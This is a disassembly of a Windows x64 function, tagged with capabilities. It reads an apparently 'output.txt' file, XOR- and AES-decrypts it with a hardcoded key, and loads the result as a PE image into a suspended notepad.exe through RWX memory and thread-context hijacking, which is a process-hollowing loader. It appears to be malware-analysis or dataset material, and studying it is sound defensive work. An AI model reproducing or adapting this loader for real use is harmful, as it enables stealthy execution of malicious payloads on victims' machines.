Function at 0x1400010c0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Encode data using xor
Execute shellcode via indirect call
Get file size
Read file on windows
Resume thread
Terminate process

Disassembly:
push rbp
push rbx
push r12
lea rbp, [rsp - 0x5f0]
sub rsp, 0x6f0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x5e8], rax
xor eax, eax
mov dword [rbp + 0x5c0], 0x38323934
xor r12d, r12d
mov dword [rbp + 0x5c4], 0x46495237
mov qword [rsp + 0x30], r12
lea rcx, [rbp + 0x5d0]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
mov word [rbp + 0x5c8], 0x4853
mov dword [rbp + 0x5ca], eax
mov word [rbp + 0x5ce], ax
mov dword [rbp + 0x5b0], 0xfa246478
mov dword [rbp + 0x5b4], 0xf0debc9a
mov dword [rbp + 0x5b8], 0x78563412
mov dword [rbp + 0x5bc], 0xf0debc9a
mov dword [rbp + 0x5d0], 0x75006f
mov dword [rbp + 0x5d4], 0x700074
mov dword [rbp + 0x5d8], 0x740075
mov dword [rbp + 0x5dc], 0x74002e
mov dword [rbp + 0x5e0], 0x740078
mov word [rbp + 0x5e4], r12w
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001548
mov qword [rsp + 0x710], rsi
xor edx, edx
mov qword [rsp + 0x718], rdi
mov rcx, rax
mov qword [rsp + 0x720], r14
mov qword [rsp + 0x728], r15
call qword [sym.imp.KERNEL32.dll_GetFileSize]
movsxd rsi, eax
mov r14, 0xffffffffffffffff
mov ecx, esi
add ecx, 1
cmovb rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea ecx, [rsi + 1]
xor edx, edx
movsxd r15, ecx
mov rdi, rax
mov r8, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov r8d, esi
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x14000122d
mov rcx, rbx
jmp 0x140001522
mov rbx, rsi
mov rdx, r12
test esi, esi
je 0x1400012cd
cmp rbx, 0x40
jb 0x1400012b2
movdqa xmm2, xmmword [0x140003380]
lea rax, [rdi + 0x20]
mov rcx, rbx
and rcx, 0xffffffffffffffc0
nop dword [rax]
nop dword [rax + rax]
movdqu xmm0, xmmword [rax - 0x20]
lea rax, [rax + 0x40]
add rdx, 0x40
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax - 0x60], xmm1
movdqu xmm0, xmmword [rax - 0x50]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm1, xmmword [rax - 0x40]
pxor xmm1, xmm2
movdqu xmmword [rax - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x30]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x30], xmm1
cmp rdx, rcx
jb 0x140001260
cmp rdx, rbx
jae 0x1400012cd
mov rcx, rbx
lea rax, [rdx + rdi]
sub rcx, rdx
nop dword [rax]
xor byte [rax], 0xf2
lea rax, [rax + 1]
sub rcx, 1
jne 0x1400012c0
lea r8, [rbp - 0x20]
mov edx, 0x80
lea rcx, [rbp + 0x5c0]
call qword [sym.imp.libcrypto_3_x64.dll_AES_set_encrypt_key]
test eax, eax
jns 0x14000130d
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.An_error_occurred_n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
add esi, 1
mov dword [rsp + 0x68], r12d
mov ecx, esi
cmovb rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8, r15
xor edx, edx
mov rcx, rax
mov r14, rax
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x68]
mov dword [rsp + 0x30], r12d
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x20]
lea rax, [rbp + 0x5b0]
mov r8, rbx
mov rdx, r14
mov qword [rsp + 0x20], rax
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_AES_cfb128_encrypt]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
movzx esi, word [r14]
add rsi, r14
mov ecx, dword [rsi + 0x50]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8d, dword [rsi + 0x50]
xor edx, edx
mov rcx, rax
mov r15, rax
call sub.VCRUNTIME140.dll_memset
mov rdi, r12
cmp r12w, word [rsi + 6]
jae 0x1400013c4
lea rbx, [rsi + 0x11c]
nop word [rax + rax]
mov edx, dword [rbx]
mov ecx, dword [rbx - 8]
add rdx, r14
mov r8d, dword [rbx - 4]
add rcx, r15
call sub.VCRUNTIME140.dll_memcpy
movzx eax, word [rsi + 6]
lea rbx, [rbx + 0x28]
inc rdi
cmp rdi, rax
jb 0x1400013a0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.VirtualAlloc
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.VirtualProtect
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CreateProcessW
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
lea rcx, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rcx
xor r8d, r8d
lea rcx, [rsp + 0x70]
xor edx, edx
mov qword [rsp + 0x40], rcx
lea rcx, str.c:windows_notepad.exe
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rbp - 0x78], xmm0
movups xmmword [rbp - 0x68], xmm0
movups xmmword [rbp - 0x58], xmm0
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm0
call rax
mov edx, dword [rsi + 0x50]
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call rdi
mov r8d, dword [rsi + 0x50]
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
xor edx, edx
lea rcx, [rbp + 0xe0]
mov r8d, 0x4d0
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp + 0xe0]
mov dword [rbp + 0x110], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x1400014c9
lea rcx, [0x140003348]
call fcn.140001060
jmp 0x140001528
mov eax, dword [rsi + 0x28]
lea rdx, [rbp + 0xe0]
mov rcx, qword [rsp + 0x58]
mov qword [rbp + 0x1d8], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x1400014f7
lea rcx, [0x140003360]
call fcn.140001060
jmp 0x140001528
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x58]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14, qword [rsp + 0x720]
mov rdi, qword [rsp + 0x718]
mov rsi, qword [rsp + 0x710]
mov r15, qword [rsp + 0x728]
xor eax, eax
mov rcx, qword [rbp + 0x5e8]
xor rcx, rsp
call fcn.140001580
add rsp, 0x6f0
pop r12
pop rbx
pop rbp
ret